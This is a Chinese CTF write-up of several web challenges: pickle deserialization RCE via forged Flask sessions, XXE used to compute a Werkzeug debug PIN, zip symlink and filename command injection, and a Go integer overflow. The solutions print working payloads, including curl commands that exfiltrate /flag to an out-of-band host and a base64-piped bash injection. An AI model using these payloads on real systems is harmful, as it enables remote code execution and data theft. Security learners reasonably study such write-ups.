前言
怎么啥类型的题都有,知识点最全面的一集(
好了,这下我也是新生了,没时间也做不动了,等wp下来复现
Web
notebook(复现)
session伪造爆破+pickle反序列化
app.py
from flask import Flask, request, render_template, session
import pickle
import uuid
import os
app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(2).hex()
class Note(object):
def __init__(self, name, content):
self._name = name
self._content = content
@property
def name(self):
return self._name
@property
def content(self):
return self._content
@app.route('/')
def index():
return render_template('index.html')
@app.route('/<path:note_id>', methods=['GET'])
def view_note(note_id):
notes = session.get('notes')
if not notes:
return render_template('note.html', msg='You have no notes')
note_raw = notes.get(note_id)
if not note_raw:
return render_template('note.html', msg='This note does not exist')
note = pickle.loads(note_raw)
return render_template('note.html', note_id=note_id, note_name=note.name, note_content=note.content)
@app.route('/add_note', methods=['POST'])
def add_note():
note_name = request.form.get('note_name')
note_content = request.form.get('note_content')
if note_name == '' or note_content == '':
return render_template('index.html', status='add_failed', msg='note name or content is empty')
note_id = str(uuid.uuid4())
note = Note(note_name, note_content)
if not session.get('notes'):
session['notes'] = {}
notes = session['notes']
notes[note_id] = pickle.dumps(note)
session['notes'] = notes
return render_template('index.html', status='add_success', note_id=note_id)
@app.route('/delete_note', methods=['POST'])
def delete_note():
note_id = request.form.get('note_id')
if not note_id:
return render_template('index.html')
notes = session.get('notes')
if not notes:
return render_template('index.html', status='delete_failed', msg='You have no notes')
if not notes.get(note_id):
return render_template('index.html', status='delete_failed', msg='This note does not exist')
del notes[note_id]
session['notes'] = notes
return render_template('index.html', status='delete_success')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000, debug=False)
- Hint 3: pickle 是干什么的? 可以利用吗?
- Hint 5: 构造恶意 pickle 序列化数据实现 RCE
审计代码,可以发现有pickle库
在访问note的路由中发现pickle.loads
在写入note的路由中发现pickle.dumps
@app.route('/<path:note_id>', methods=['GET'])
def view_note(note_id):
notes = session.get('notes')
if not notes:
return render_template('note.html', msg='You have no notes')
note_raw = notes.get(note_id)
if not note_raw:
return render_template('note.html', msg='This note does not exist')
note = pickle.loads(note_raw)
return render_template('note.html', note_id=note_id, note_name=note.name, note_content=note.content)
@app.route('/add_note', methods=['POST'])
def add_note():
note_name = request.form.get('note_name')
note_content = request.form.get('note_content')
if note_name == '' or note_content == '':
return render_template('index.html', status='add_failed', msg='note name or content is empty')
note_id = str(uuid.uuid4())
note = Note(note_name, note_content)
if not session.get('notes'):
session['notes'] = {}
notes = session['notes']
notes[note_id] = pickle.dumps(note)
session['notes'] = notes
return render_template('index.html', status='add_success', note_id=note_id)
审计一下,pickle.loads
内的对象是note_raw也就是note_id,而notes[note_id] = pickle.dumps(note)
,note_id的值为str(uuid.uuid4())
不可控,但是对于notes列表,它的值是session['notes']
,这个值是可以被伪造的,从而控制note_id
- Hint 2: 通过 SECRET_KEY 可以伪造 Flask session
- Hint 4: 尝试爆破 SECRET_KEY (os.urandom(2).hex() 只有四位数)
这一块可以参考moectf2023的moeworld,flask-unsign爆破
生成字典
import os
with open('dict.txt','w') as f:
for i in range(1,100000):
a=os.urandom(2).hex()
f.write("\"{}\"\n".format(a))
flask-unsign --unsign --cookie ".eJwtyk0LgjAYAOC_ErsPtjk_JnRYQ0kiD6lp3nxls2JaUGQg--8V9JyfBU23p36geEEehJoS6uGeeAZzTnwsTNBhIqKoN1qEhge_twIUo0EWx3yQf2qvUmGgTu9ghbHZnJSjIG1blFaNG7tl1S6b04b5Z6jr6iqT9_dkDctfMB0sTEXVyZaeLnyNnHMfbv4tEQ.ZTFEpA.9ifsWDASoCSJr6kIyx7x0ewAPaE" --wordlist dict.txt
得到key
然后解码一下session
python3 flask_session_cookie_manager3.py decode -c ".eJwtyk0LgjAYAOC_ErsPtjk_JnRYQ0kiD6lp3nxls2JaUGQg--8V9JyfBU23p36geEEehJoS6uGeeAZzTnwsTNBhIqKoN1qEhge_twIUo0EWx3yQf2qvUmGgTu9ghbHZnJSjIG1blFaNG7tl1S6b04b5Z6jr6iqT9_dkDctfMB0sTEXVyZaeLnyNnHMfbv4tEQ.ZTFEpA.9ifsWDASoCSJr6kIyx7x0ewAPaE" -s "a5d7"
很明显,要想进行命令执行,就要修改里面的二进制字节流
手搓一个opcode,pker工具生成的opcode好像不怎么好使。。。
b'''cos
system
(S'whoami'
tR.'''
也即b'''cos\nsystem\n(S'whoami'\ntR.'''
带进去session伪造即可,其实可以直接使用flask-unsign解决
注:
如果使用
pickle.dumps()
来⽣成 payload, 那么得知道不同操作系统⽣成的 pickle 序列化数据是有区别的# Linux (注意 posix) b'cposix\nsystem\np0\n(Vwhoami\np1\ntp2\nRp3\n.' # Windows (注意 nt) b'cnt\nsystem\np0\n(Vwhoami\np1\ntp2\nRp3\n.'
构造了恶意 pickle 序列化数据发送之后服务器报错 500,
上⾯代码在
pickle.loads()
之后得到 note 对象, 然后访问它的id,name,content属性,即 note.id,note.name,note.content如果是正常的 pickle 数据,那么服务器就会显示正常的 note 内容,如果是恶意的 pickle 数据,那么pickle.loads()
返回的就是通过__reduce__
⽅法调⽤的某个函数所返回的结果, 根本就没有 id, name, content 这些属性,当然就会报错。换成os.system()
同理, 在 Linux 中通过这个函数执⾏的命令, 如果执⾏成功, 则返回 0, 否则返回非0值,虽然服务器会报错 500, 但是命令还是执行成功的回显的内容不会在网页上输出,需要反弹shell或者dns带外
这里用dns带外的方法:
b'''cos\nsystem\n(S'curl 5cidlk6fmr0rtmpjbmx2fxrujlpbd0.oastify.com -X POST -d \"`cat /flag`\"'\ntR.'''
- Hint 1: 由于题目环境每 10 分钟重置一次 因此 SECRET_KEY 的值会变化
10分钟速通感觉还是挺难的(
先创建一个新的note,然后session伪造
flask-unsign --sign --cookie "{'notes': {'2392a14b-5f40-45ed-9f2d-85aa3467d13e': b'''cos\nsystem\n(S'curl qpjyy5j0zcdc6724o7ansi4fw62zqo.oastify.com -X POST -d \"`cat /flag`\"'\ntR.'''}}" --secret '4b42' --no-literal-eval
最后带外的结果是这样,应该没问题吧(心虚
rss_parser(复现)
xxe+flask算pin
app.py
from flask import Flask, render_template, request, redirect
from urllib.parse import unquote
from lxml import etree
from io import BytesIO
import requests
import re
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'GET':
return render_template('index.html')
else:
feed_url = request.form['url']
if not re.match(r'^(http|https)://', feed_url):
return redirect('/')
content = requests.get(feed_url).content
tree = etree.parse(BytesIO(content), etree.XMLParser(resolve_entities=True))
result = {}
rss_title = tree.find('/channel/title').text
rss_link = tree.find('/channel/link').text
rss_posts = tree.findall('/channel/item')
result['title'] = rss_title
result['link'] = rss_link
result['posts'] = []
if len(rss_posts) >= 10:
rss_posts = rss_posts[:10]
for post in rss_posts:
post_title = post.find('./title').text
post_link = post.find('./link').text
result['posts'].append({'title': post_title, 'link': unquote(post_link)})
return render_template('index.html', feed_url=feed_url, result=result)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000, debug=True)
- Hint 1: 一个解析 XML 的功能会存在什么漏洞? (注意 resolve_entities=True)
根据它的提示,很明显tree = etree.parse(BytesIO(content), etree.XMLParser(resolve_entities=True))
存在xxe漏洞
而题目要我们输入一个符合RSS Feed标准的url
那么将⼀个符合 RSS Feed XML标准的payload放到自己的HTTP服务器上就可以XXE,我这里用的是内网穿透,虚拟机要先用python开个http服务
RSS菜鸟教程:https://www.runoob.com/rss/rss-tutorial.html
放在服务器上的index.xml文件:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY file SYSTEM "file:///flag">]>
<rss xmlns:atom="http://www.w3.org/2005/Atom" version="2.0">
<channel>
<title>&file;</title>
<link>http://76135132qk.imdo.co</link>
<item>
<title>test</title>
<link>http://76135132qk.imdo.co</link>
</item>
</channel>
</rss>
但是这题不能直接读flag
Hint 2: 题目需要 RCE 并执行 /readflag 命令才能获得 flag
Hint 3: 注意 app.run() 的参数
Hint 4: Flask Debug 模式利用 (XXE 读取文件计算 PIN 码)
接下来就是flask算pin的环节,之前随便填url搞出报错页面,可以得知题目版本为3.9,得知flask的路径为/usr/local/lib/python3.9/site-packages/flask/app.py
首先读/sys/class/net/eth0/address
是02:42:c0:a8:a0:02
,换算为10进制为2485723373570
然后是/etc/machine-id
,这里不存在
接着是/proc/sys/kernel/random/boot_id
,读出来5dcbb593-2656-4e8e-a4e9-9a0afb803c47
再读/proc/self/cgroup
,读出来0::/
,也就是没有id值,所以不用拼接,直接用上面的bootid即可
剩下的username可以通过读取/etc/passwd
来猜⼀下, ⼀般都是 root 或者最底下的⽤户app , 多试⼏个就⾏
把这几个数据丢到脚本里生成pin码
import hashlib
from itertools import chain
probably_public_bits = [
'app', # username
'flask.app', # modname
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.9/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
# This information is here to make it harder for an attacker to
# guess the cookie name. They are unlikely to be contained anywhere
# within the unauthenticated debug page.
private_bits = [
'2485723373570', # str(uuid.getnode()), /sys/class/net/ens33/address
# Machine Id: /etc/machine-id + /proc/sys/kernel/random/boot_id + /proc/self/cgroup
#'96cec10d3d9307792745ec3b85c89620 867ab5d2-4e57-4335-811b-2943c662e936 dd0b25f3d46cf1a527e51b81aa90d16a01e0f2032fd1212688e6a5573a841b82'
'5dcbb593-2656-4e8e-a4e9-9a0afb803c47'
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x: x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
print(rv)
运行得到pin码431-347-509
那么访问/console进终端,输入得到的pin码,命令执行即可,flag要执行/readflag获得
zip_file_manager(复现)
unzip漏洞
其实和今年国赛的unzip是一样的考点, 只不过换成了python框架
不过这题有两种做法
app.py
from flask import Flask, request, render_template, redirect, send_file
import hashlib
import os
app = Flask(__name__)
def md5(m):
return hashlib.md5(m.encode('utf-8')).hexdigest()
@app.route('/unzip', methods=['POST'])
def unzip():
f = request.files.get('file')
if not f.filename.endswith('.zip'):
return redirect('/')
user_dir = os.path.join('./uploads', md5(request.remote_addr))
if not os.path.exists(user_dir):
os.mkdir(user_dir)
zip_path = os.path.join(user_dir, f.filename)
dest_path = os.path.join(user_dir, f.filename[:-4])
f.save(zip_path)
os.system('unzip -o {} -d {}'.format(zip_path, dest_path))
return redirect('/')
@app.route('/', defaults={'subpath': ''}, methods=['GET'])
@app.route('/<path:subpath>', methods=['GET'])
def index(subpath):
user_dir = os.path.join('./uploads', md5(request.remote_addr))
if not os.path.exists(user_dir):
os.mkdir(user_dir)
if '..' in subpath:
return 'blacklist'
current_path = os.path.join(user_dir, subpath)
if os.path.isdir(current_path):
res = []
res.append({'type': 'Directory', 'name': '..'})
for v in os.listdir(current_path):
if os.path.isfile(os.path.join(current_path, v)):
res.append({'type': 'File', 'name': v})
else:
res.append({'type': 'Directory', 'name': v})
return render_template('index.html', upload_path=user_dir, res=res)
else:
return send_file(current_path)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000, debug=False)
法1:软链接
ln -s / test
zip -y test.zip test
因为题目已经提供了查看文件的功能,所以这里把软链接直接指向根目录
上传test.zip,然后访问test即可查看根目录获得flag
法2:命令注入
@app.route('/unzip', methods=['POST'])
def unzip():
f = request.files.get('file')
if not f.filename.endswith('.zip'):
return redirect('/')
user_dir = os.path.join('./uploads', md5(request.remote_addr))
if not os.path.exists(user_dir):
os.mkdir(user_dir)
zip_path = os.path.join(user_dir, f.filename)
dest_path = os.path.join(user_dir, f.filename[:-4])
f.save(zip_path)
os.system('unzip -o {} -d {}'.format(zip_path, dest_path))
return redirect('/')
审计这段代码,可以发现这里调用了os.system
执行unzip命令,但是路径名是直接拼接进去的,而zip的文件名可控,所以存在命令注入
burp上传时抓包把 filename 改成下面的命令把回显带外即可,类似于ping的命令注入
test.zip;echo Y3VybCBob3N0LmRvY2tlci5pbnRlcm5hbDo0NDQ0IC1UIC9mbGFnCg==|base64 -d|bash;1.zip
web_snapshot(未完成)
SSRF打Redis主从复制 RCE
GoShop
整数溢出
main.go
package main
import (
"crypto/rand"
"embed"
"fmt"
"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"
"github.com/gin-gonic/gin"
"github.com/google/uuid"
"html/template"
"net/http"
"os"
"strconv"
)
type User struct {
Id string
Money int64
Items map[string]int64
}
type Product struct {
Name string
Price int64
}
var users map[string]*User
var products []*Product
//go:embed public
var fs embed.FS
func init() {
users = make(map[string]*User)
products = []*Product{
{Name: "Apple", Price: 10},
{Name: "Banana", Price: 50},
{Name: "Orange", Price: 100},
{Name: "Flag", Price: 999999999},
}
}
func IndexHandler(c *gin.Context) {
c.HTML(200, "index.html", gin.H{})
}
func InfoHandler(c *gin.Context) {
s := sessions.Default(c)
if s.Get("id") == nil {
u := uuid.New().String()
users[u] = &User{Id: u, Money: 100, Items: make(map[string]int64)}
s.Set("id", u)
s.Save()
}
user := users[s.Get("id").(string)]
c.JSON(200, gin.H{
"user": user,
})
}
func ResetHandler(c *gin.Context) {
s := sessions.Default(c)
s.Clear()
u := uuid.New().String()
users[u] = &User{Id: u, Money: 100, Items: make(map[string]int64)}
s.Set("id", u)
s.Save()
c.JSON(200, gin.H{
"message": "Reset success",
})
}
func BuyHandler(c *gin.Context) {
s := sessions.Default(c)
user := users[s.Get("id").(string)]
data := make(map[string]interface{})
c.ShouldBindJSON(&data)
var product *Product
for _, v := range products {
if data["name"] == v.Name {
product = v
break
}
}
if product == nil {
c.JSON(200, gin.H{
"message": "No such product",
})
return
}
n, _ := strconv.Atoi(data["num"].(string))
if n < 0 {
c.JSON(200, gin.H{
"message": "Product num can't be negative",
})
return
}
if user.Money >= product.Price*int64(n) {
user.Money -= product.Price * int64(n)
user.Items[product.Name] += int64(n)
c.JSON(200, gin.H{
"message": fmt.Sprintf("Buy %v * %v success", product.Name, n),
})
} else {
c.JSON(200, gin.H{
"message": "You don't have enough money",
})
}
}
func SellHandler(c *gin.Context) {
s := sessions.Default(c)
user := users[s.Get("id").(string)]
data := make(map[string]interface{})
c.ShouldBindJSON(&data)
var product *Product
for _, v := range products {
if data["name"] == v.Name {
product = v
break
}
}
if product == nil {
c.JSON(200, gin.H{
"message": "No such product",
})
return
}
count := user.Items[data["name"].(string)]
n, _ := strconv.Atoi(data["num"].(string))
if n < 0 {
c.JSON(200, gin.H{
"message": "Product num can't be negative",
})
return
}
if count >= int64(n) {
user.Money += product.Price * int64(n)
user.Items[product.Name] -= int64(n)
c.JSON(200, gin.H{
"message": fmt.Sprintf("Sell %v * %v success", product.Name, n),
})
} else {
c.JSON(200, gin.H{
"message": "You don't have enough product",
})
}
}
func FlagHandler(c *gin.Context) {
s := sessions.Default(c)
user := users[s.Get("id").(string)]
v, ok := user.Items["Flag"]
if !ok || v <= 0 {
c.JSON(200, gin.H{
"message": "You must buy <code>flag</code> first",
})
return
}
flag, _ := os.ReadFile("/flag")
c.JSON(200, gin.H{
"message": fmt.Sprintf("Here is your flag: <code>%s</code>", string(flag)),
})
}
func main() {
secret := make([]byte, 16)
rand.Read(secret)
tpl, _ := template.ParseFS(fs, "public/index.html")
store := cookie.NewStore(secret)
r := gin.Default()
r.SetHTMLTemplate(tpl)
r.Use(sessions.Sessions("gosession", store))
r.GET("/", IndexHandler)
api := r.Group("/api")
{
api.GET("/info", InfoHandler)
api.POST("/buy", BuyHandler)
api.POST("/sell", SellHandler)
api.GET("/flag", FlagHandler)
api.GET("/reset", ResetHandler)
}
r.StaticFileFS("/static/main.js", "public/main.js", http.FS(fs))
r.StaticFileFS("/static/simple.css", "public/simple.css", http.FS(fs))
r.Run(":8000")
}
审计一下代码可以发现里面的商品都是用int64处理的,取值范围为-9223372036854775808到9223372036854775807
那思路就很清晰了
买9223372036854775807个apple
再卖掉999999999个apple
这样钱就够买flag了